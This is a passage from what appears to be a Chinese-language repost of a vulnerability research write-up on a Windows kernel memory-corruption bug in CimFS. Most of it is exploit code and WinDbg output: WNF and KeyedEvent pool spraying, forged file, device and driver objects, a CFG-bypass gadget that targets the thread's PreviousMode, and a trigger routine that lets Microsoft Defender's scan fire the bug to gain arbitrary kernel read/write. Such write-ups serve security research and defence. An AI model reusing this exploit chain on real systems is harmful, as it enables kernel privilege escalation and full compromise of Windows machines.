遗憾的是,它没有提供可供操作的_WNF_STATE_DATA句柄,因此我们使用该对象来帮助进行池风水。对象可以使用 API 分配,并且具有固定的字节大小。如果我们首先喷射大小为字节的对象,则可以强制这两个对象在同一页面上始终彼此相邻。NtQuerySystemInformation()KeyedEventKeyedEventNtCreateKeyedEvent()0x680_WNF_STATE_DATA0x880
for (int i = 0; i < StateNameCount; i++)if (!WnfAllocateObject(KEY_EVENT_INV_SIZE, &StateNames[i]))goto out;printf("[+] Sprayed 0x%llx WNF chunks of 0x%lx bytesn", StateNameCount,KEY_EVENT_INV_SIZE);// Spray some keyevent objectsfor (int i = 0; i < StateNameCount; i++) { ntstatus = NtCreateKeyedEvent(&tmpKeyEvent, NULL, NULL, 0);if (i == 0x2018) // lucky number keyEvent = tmpKeyEvent;}if (!GetAddressOfHandle(keyEvent, &keyEventAddr)) {puts("KeyEvent handle address not resolved");goto out;}
0: kd> !pool 0xffffd80970703020Pool page ffffd80970703020 region is Paged pool*ffffd80970703000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970703890 size: 680 previous size: 0 (Allocated) Keye ffffd80970703f10 size: d0 previous size: 0 (Free) D..;0: kd> !pool 0xffffd80970704020Pool page ffffd80970704020 region is Paged pool*ffffd80970704000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970704890 size: 680 previous size: 0 (Allocated) Keye ffffd80970704f10 size: d0 previous size: 0 (Free) D..;0: kd> !pool 0xffffd80970705020Pool page ffffd80970705020 region is Paged pool*ffffd80970705000 size: 880 previous size: 0 (Allocated) *Wnf Process: ffffb108db4d60c0 Pooltag Wnf : Windows Notification Facility, Binary : nt!wnf ffffd80970705890 size: 680 previous size: 0 (Allocated) Keye ffffd80970705f10 size: d0 previous size: 0 (Free) D..;
原因是两个_WNF_STATE_DATA块太大,无法容纳在同一个页面中,因此KeyedEvent如果我们充分喷射,总会有空间容纳一个块。
现在我们可以泄露任意KeyedEvent对象的地址,然后减去0x8d0字节数即可获得_WNF_STATE_DATA块地址。
由于我们不知道哪个 WNF 块被泄露,我们将其所有内容更新为伪文件对象。
// Craft fake chunk chain// IoGetRelatedDeviceObject(fakeChunkChainStart);fakeChunkChainStart = prevWnfAddr - 0x10; // mov rax, [rcx+10h] -> rax = prevWnfAddress*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x0) = prevWnfAddr; // mov rax, [rax+8] -> rax = prevWnfAddress*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + DRIVER_OBJECT_OFFSET) = prevWnfAddr; // fake device object/driver object = prevWnfAddr*(BYTE *)((ULONG64)&fakeChunkPayload + STACK_SIZE_OFFSET) = 1;/* * Gadget dependent offset v2 = *(_QWORD *)(a1 + 0x38); if ( v2 ) { result = ObfDereferenceObject((PVOID)(v2 - 0x18)); *(_QWORD *)(a1 + 0x38) = 0i64; } return result;*/cfgBypassGadget = win32kbase + GADGET_OFFSET;ownKthreadPreviousMode = ownKthread + PREVIOUSMODE_OFFSET;*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + 0x38) = ownKthreadPreviousMode + 0x48;// Fake IRP major function*(ULONG_PTR *)((ULONG64)&fakeChunkPayload + (ULONG64)MAJOR_FUNCTION_OFFSET + 24) = cfgBypassGadget; // IRP_MJ[3]// Write chain to memoryfor (int i = 0; i < StateNameCount; i++)if (*(ULONG64 *)&(StateNames[i]))if (!WnfUpdateObject(&StateNames[i], &fakeChunkPayload, sizeof(fakeChunkPayload)))goto out;puts("[+] Finish setting up fake objects chain");
最终,这些_WNF_STATE_DATA块不仅是一个伪文件对象,而且还是一个伪设备对象和伪驱动程序对象。
最后,我们喷射更多_WNF_STATE_DATA包含伪文件对象地址的对象。这些对象中的 1/4 被释放,以便为 cimfs 所做的受害者分配制造漏洞。
// Make WNF holes for OOBfor (int i = 0; i < StateNameCount; i++) {if (!WnfAllocateObjectAndFillQWORDS(WNF_SPRAY_SIZE, &StateNames[i], fakeChunkChainStart))goto out;}printf("[+] Sprayed 0x%llx WNF chunks of 0x%lx bytesn", StateNameCount, WNF_SPRAY_SIZE);for (int i = 0; i < StateNameCount; i += WNF_GAP_OFFSET) {if (!WnfFreeObject(&StateNames[i]))goto out;}printf("[+] Freed one chunk for every 0x%lx chunksn", WNF_GAP_OFFSET);
现在只需生成一个线程来触发该漏洞,我们就可以进行任意读/写。
voidTriggerVuln(GUID *VolumeId){ HANDLE hFile = NULL; BYTE buf[1] = { 0 }; DWORD read = 0;// Never returns if AV/EDR registers post create handler to perform read before usputs("[*] Counting on defender to trigger bug..."); TryMountAndCreateHandle(IMAGE_CONTAINING_PATH, IMAGE_NAME, CIM_MOUNT_IMAGE_NONE, VolumeId, FILESYSTEM_FILE_NAME, &hFile);// If it doesn't, this line of code will run and we can trigger bug manuallyputs("[*] Seems like Micosoft Defender is disabled. Triggering bug manually"); ReadFile(hFile, &buf, sizeof(buf), &read, NULL);// Never reachreturn;}
结论
在漏洞搜寻的世界里,找到一个好的目标(新鲜的表面)总是比盲目地跳入目标更有效。不要害怕开始研究一个之前没有漏洞的目标。当你手动审计时,可以考虑在后台运行一个简单的模糊测试会话。为了获得最佳效果,请结合手动和自动化测试。
原文始发于微信公众号(Ots安全):CimFS:内存崩溃,查找系统(内核版)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论